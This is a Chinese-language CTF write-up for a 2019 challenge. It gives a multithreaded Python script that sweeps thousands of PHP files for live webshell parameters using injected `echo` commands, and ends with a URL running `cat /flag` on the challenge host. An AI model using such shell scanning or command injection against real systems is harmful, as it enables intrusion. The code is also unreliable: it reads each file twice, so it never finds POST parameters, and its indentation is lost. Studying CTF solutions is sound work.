[強網杯 2019]高明的黑客
打開題目,提示可以下載下傳源碼

源碼檔案是三千多個 php,也有很多 shell,但是嘗試的 shell 都不能用了,這題應該是考察寫腳本批量試 shell,用了一個網上師傅寫的很好的腳本,本地搭服務跑一下,腳本來源貼下面參考文章了
import os
import requests
import re
import threading
import time
print('開始時間: '+ time.asctime( time.localtime(time.time()) ))
s1=threading.Semaphore(100) #這兒設定最大的線程數
filePath = r"D:/Major/phpstudy_pro/WWW/src/"
os.chdir(filePath) #改變目前的路徑
requests.adapters.DEFAULT_RETRIES = 5 #設定重連次數,防止線程數過高,斷開連接配接
files = os.listdir(filePath)
session = requests.Session()
session.keep_alive = False #設定連接配接活躍狀态為False
def get_content(file):
s1.acquire()
print('trying '+file+ ' '+ time.asctime( time.localtime(time.time()) ))
with open(file,encoding='utf-8') as f: #打開php檔案,提取所有的$_GET和$_POST的參數
gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read()))
posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))
data = {} #所有的$_POST
params = {} #所有的$_GET
for m in gets:
params[m] = "echo 'xxxxxx';"
for n in posts:
data[n] = "echo 'xxxxxx';"
url = 'http://127.0.0.1/src/'+file
req = session.post(url, data=data, params=params) #一次性請求所有的GET和POST
req.close() #關閉請求釋放記憶體
req.encoding = 'utf-8'
content = req.text
#print(content)
if "xxxxxx" in content: #如果發現有可以利用的參數,繼續篩選出具體的參數
flag = 0
for a in gets:
req = session.get(url+'?%s='%a+"echo 'xxxxxx';")
content = req.text
req.close() #關閉請求釋放記憶體
if "xxxxxx" in content:
flag = 1
break
if flag != 1:
for b in posts:
req = session.post(url, data={b:"echo 'xxxxxx';"})
content = req.text
req.close() #關閉請求釋放記憶體
if "xxxxxx" in content:
break
if flag == 1: #flag用來判斷參數是GET還是POST,如果是GET,flag==1,則b未定義;如果是POST,flag為0,
param = a
else:
param = b
print('找到了利用檔案: '+file+" and 找到了利用的參數:%s" %param)
print('結束時間: ' + time.asctime(time.localtime(time.time())))
s1.release()
for i in files: #加入多線程
t = threading.Thread(target=get_content, args=(i,))
t.start()
通路連結得到 flag http://685e9fc4-f674-453f-ae12-e7db72501e6a.node4.buuoj.cn/xk0SzyKwfzw.php?Efa5BVG=cat%20/flag